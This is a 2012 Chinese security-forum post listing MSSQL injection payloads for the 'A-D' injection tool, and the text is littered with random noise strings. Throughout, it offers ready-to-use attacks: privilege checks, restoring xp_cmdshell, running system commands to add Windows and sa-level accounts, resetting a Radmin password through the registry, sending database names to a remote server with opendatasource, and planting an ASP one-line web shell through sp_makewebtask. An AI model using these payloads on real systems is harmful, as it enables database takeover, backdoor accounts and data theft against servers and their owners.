找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2157|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令
2 N( e1 y4 W/ g//看看是什么权限的
+ C7 Q5 W9 e6 @; \and 1=(Select IS_MEMBER('db_owner'))4 C$ z$ Z( c. j8 {3 h3 |# p
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--, k+ y- Q3 k7 X! \

0 i/ Z& T- `( T//检测是否有读取某数据库的权限
  h# ~* ^2 ?9 @0 y) H4 G  @and 1= (Select HAS_DBACCESS('master'))
- Z5 x+ |. o. s# T8 {! ~% Y; uAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --3 |  Q! U7 \1 A9 t# n8 o

% _/ x" `" e9 y# c! q0 \) S" @
" [2 `( a: E8 {& Z; ?& r& T数字类型8 I( M: P- P$ g7 O( E
and char(124)%2Buser%2Bchar(124)=09 k6 G& P7 S- l
% L! I* s' _( k2 I
字符类型
; A% M$ }3 ^) _( y& y' and char(124)%2Buser%2Bchar(124)=0 and ''='' V$ ]+ E. ?3 d

/ m, u; Q0 N3 a3 E9 c! z) q5 O搜索类型, S4 q2 f# S; C' o- M  x. d
' and char(124)%2Buser%2Bchar(124)=0 and '%'='  D& Y: b7 Z0 k2 X$ S. D
5 W( A% }9 K9 j; f, u' p
爆用户名# G4 {/ u: t: L% h& w$ P0 k$ n
and user>0
4 _0 Y& z; {/ W8 a/ s' and user>0 and ''='6 J! Z) G, S. ?) v2 u
/ W8 u& O' t8 a1 g
检测是否为SA权限  q5 }7 |! {6 ?- C( P! _
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--9 `6 G3 ]1 X) A2 [8 c$ o4 C
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --7 s$ c1 k9 r. N7 N) Q
4 Q5 x) D: s' |. o- c, o7 l$ E5 ?
检测是不是MSSQL数据库" \/ h" M2 A; H! b, F5 F* g
and exists (select * from sysobjects);-- $ j+ T" c5 m" F+ t
/ @1 Q" R* H% r* R' t3 D% G7 w
检测是否支持多行
; V( I5 z1 |" `& [" |  j2 z;declare @d int;--
  J  E6 J* O. s( t7 t+ X% k' I8 |6 Q- x# m
恢复 xp_cmdshell5 D5 U) B# f9 K5 E  Z
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
" ?3 p3 J/ U( N& d; s- M# M$ U& B, F" S
9 M' c8 a$ K( h
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 8 I( M2 _4 v% d/ w: l

- M1 o- J" ^) o1 f) O, ?//-----------------------
: O# Z& m7 x  I  ?" x: u//      执行命令
  T6 L& F6 B9 q) V; d//-----------------------
7 C& z5 @$ X5 O5 v- g. {/ ]1 l首先开启沙盘模式:+ Q6 I  q7 v# f) S8 b* d8 J
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1  f/ D% F6 Q7 K% q

7 H' k4 w+ A8 B0 n, A4 [5 Y/ L然后利用jet.oledb执行系统命令( a+ z# b7 q2 T. q: I2 Q' S' i
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')9 D! s9 l4 n: Z' W, `( G+ Q0 B  l3 L

. o. X( R3 k; `: x  P5 N执行命令
9 U4 _+ H0 b6 W# A/ h;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--1 K! Y! k: M3 W" J, k
0 r4 A% K% f) C3 _! x+ H3 X) a
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'7 J& K- c# \: K6 S
5 q' H1 ?1 ?6 O
判断xp_cmdshell扩展存储过程是否存在:
5 t# s7 R8 p, phttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'). J# O  b9 C7 W( y

* ]9 H  o- P4 Y) m写注册表
) }$ R: S) f0 e- s6 z4 ~% qexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 J) n" b. Z5 B$ M1 ]
2 i& z+ R( ]. E* I& W9 UREG_SZ
: C) X* K8 c$ j1 V" |
; O5 t" Q6 Q- V" S- [, M读注册表
% G. o  _, e0 E* q8 {exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
+ t. p4 |  f+ q  H7 B6 O/ Y+ x0 H, o& t) t- T+ Q; E4 Q
读取目录内容' K. {7 R: x! z6 Q
exec master..xp_dirtree 'c:\winnt\system32\',1,1
- \$ R! d5 e' k* R- B
' H" Z) K" e9 y" x9 K  S3 Q9 Z+ Q/ x' W6 x+ p5 t' E  G2 P. }6 Z
数据库备份
, O( I; ]9 x1 a+ ~& zbackup database pubs to disk = 'c:\123.bak'! V" \9 {/ S2 h8 W: d' s

: @- k0 a# n% i1 ^4 R, i. B//爆出长度- V; P5 i: J9 j2 \0 _/ \' s
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
! U2 i7 f4 N, x# m& S7 I! [2 ], G7 g% z' o: {) z! x

, e' h# `) X: `# L, U+ M" B+ R( l; X( k6 L9 D  n" `% [  \
更改sa口令方法:用sql综合利用工具连接后,执行命令:
. l" r! i& X8 ^) |exec sp_password NULL,'新密码','sa'
! N/ y* Z4 M9 T. v( {7 H# v6 W
9 I4 B9 e( B8 w) f  p添加和删除一个SA权限的用户test:# `9 x* e0 [* S8 J/ A5 n
exec master.dbo.sp_addlogin test,ptlove
8 s6 y+ G# Y+ T0 [5 eexec master.dbo.sp_addsrvrolemember test,sysadmin
) l: |; d2 N9 L0 T1 L6 z2 h3 F5 K' ]* t; o$ j
删除扩展存储过过程xp_cmdshell的语句: 8 j9 w/ U7 b& e8 N
exec sp_dropextendedproc 'xp_cmdshell'0 ^# p% Y" o3 G. u: i  m) v  ^

9 M5 ]9 T  ?9 E& E5 a! |添加扩展存储过过程. s- g9 v( g! D5 D7 L- K
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' % l' H9 U# o( i* f/ ]# b
GRANT exec On xp_proxiedadata TO public
9 o8 [+ v1 N/ g1 d1 @' w* a8 H* G$ l. M: B0 d# d9 }( o# L: U: ]/ J
* N( B4 V5 y4 n) ^5 ?, T2 E, Q( ^! h
停掉或激活某个服务。
, B9 B8 L% u* I- f/ i$ }2 `% B" g9 V# T: K* K& K' P# u( a- w
exec master..xp_servicecontrol 'stop','schedule'+ @) L- E- t7 b) l: h  t, K
exec master..xp_servicecontrol 'start','schedule'8 y- s* H1 d# `( b7 ]. [
# k% i* k4 t: T$ H' C/ w8 [* M2 @+ x
dbo.xp_subdirs
" K! i% V" S0 o6 y0 K& Z; Q5 e8 H3 p9 E' m+ F9 Z5 E
只列某个目录下的子目录。4 e, y5 ~2 C7 T& C  q
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'( A: o2 S6 a& \+ U5 x/ D6 k( `
  x& o5 m9 i3 c2 i, p' i7 l3 H9 @+ Y
dbo.xp_makecab+ n; C+ u; G6 u

: u& N. u0 i; @# a8 C$ h! K将目标多个档案压缩到某个目标档案之内。
: j5 y' |5 e4 x) k所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。/ w; e0 T$ R3 C+ o8 I3 r
' j  [' I! K( r2 Y0 F
dbo.xp_makecab
/ |" T) g1 [# J" p7 `& O+ b# m0 A  ['c:\test.cab','mszip',1,
, P% {4 A  |4 {4 u" S# J8 C  l; r'C:\Inetpub\wwwroot\SQLInject\login.asp',/ ~2 k! L8 z/ O9 v6 V; c% i
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
4 P7 r) ?% N: D9 Y, b3 g& p
: j: m" D5 g, J6 o: Qxp_terminate_process; _* c; e  R& d; \

6 o2 ~% f: \+ F: t8 g停掉某个执行中的程序,但赋予的参数是 Process ID。
) P* }7 y. a+ D( ]; E1 B; q利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
8 G* y& G" T) [: n" D. |" N7 a2 U; x) c/ E% A
xp_terminate_process 2484& J# H2 W; E: e/ }8 ~) `2 u

3 ?+ c7 l( R! k/ y2 z- C+ cxp_unpackcab" L( x9 i4 T4 M- g: G% Q
9 Y" g& f! }0 z% c( _+ m/ h
解开压缩档。
: u6 c( k  Z6 o2 X- f
9 [3 V$ w* E, k7 R) Jxp_unpackcab 'c:\test.cab','c:\temp',1; l7 k8 h% v" _% @& f
. g8 Q# m! g2 I  L$ w# i

- n4 E' `) Q) h* [某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
! k( V5 E, t9 Z+ d1 v; l/ S: x* B1 |( F' C6 f' l
create database lcx;; L6 ]3 z' x. L
Create TABLE ku(name nvarchar(256) null);  F" `9 k" m' v7 b& x2 |
Create TABLE biao(id int NULL,name nvarchar(256) null);3 d2 v; H5 p5 r8 A6 {9 a

8 D7 H7 y- r& R" _//得到数据库名
  a, T4 D! F2 k8 H) Sinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
$ \/ K# }3 R/ l% `
. `, E% e8 K1 T. |
* b/ P3 h$ R  f8 q' t//在Master中创建表,看看权限怎样2 p6 ]& ]; v& I8 ~1 F
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
* n5 V' G1 P' ]4 c
( _: d; J2 _3 m$ N, X3 D用 sp_makewebtask直接在web目录里写入一句话马:' U5 \' Z3 b3 N( P- b9 R
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
, T; w! x! P7 ^4 _1 b) F. h% b' q# g0 C
//更新表内容
! T  U1 Q7 O$ g4 j( ~, s+ y$ bUpdate films SET kind = 'Dramatic' Where id = 123
; x1 x- d* C7 l% R4 K
( |5 c1 H  p1 `. Z//删除内容- b+ u7 U5 c& U  G; ^) R/ T
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表